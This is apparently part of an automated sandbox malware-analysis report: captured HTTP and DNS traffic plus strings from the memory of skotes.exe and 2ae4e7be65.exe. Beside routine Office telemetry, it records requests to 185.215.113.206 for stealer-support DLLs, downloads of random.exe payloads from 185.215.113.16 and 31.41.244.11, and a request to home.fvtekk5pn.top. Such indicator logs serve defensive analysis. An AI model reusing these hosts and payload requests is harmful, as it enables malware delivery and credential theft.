Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16

Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr

String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: deff.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: home.fvtekk5pn.top

Source: unknown

HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message

Source: 2ae4e7be65.exe, 0000001D.00000003.3404788989.0000000007582000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: 2ae4e7be65.exe, 0000001D.00000003.3404788989.0000000007582000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: skotes.exe, 00000018.00000002.3472465973.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: skotes.exe, 00000018.00000002.3472465973.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/fac00b58987e8e7e7b9ca30804042ba5ce90241545
Source: skotes.exe, 00000018.00000002.3472465973.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/ineer
Source: skotes.exe, 00000018.00000002.3472465973.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000018.00000002.3472465973.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe008388001x
Source: skotes.exe, 00000018.00000002.3472465973.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe61395dC
Source: skotes.exe, 00000018.00000002.3472465973.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe6139se
Source: skotes.exe, 00000018.00000002.3472465973.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeC
Source: skotes.exe, 00000018.00000002.3472465973.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeI
Source: skotes.exe, 00000018.00000002.3472465973.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeK
Source: skotes.exe, 00000018.00000002.3472465973.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exec61m
Source: skotes.exe, 00000018.00000002.3472465973.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeersion
Source: skotes.exe, 00000018.00000002.3472465973.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exehp2
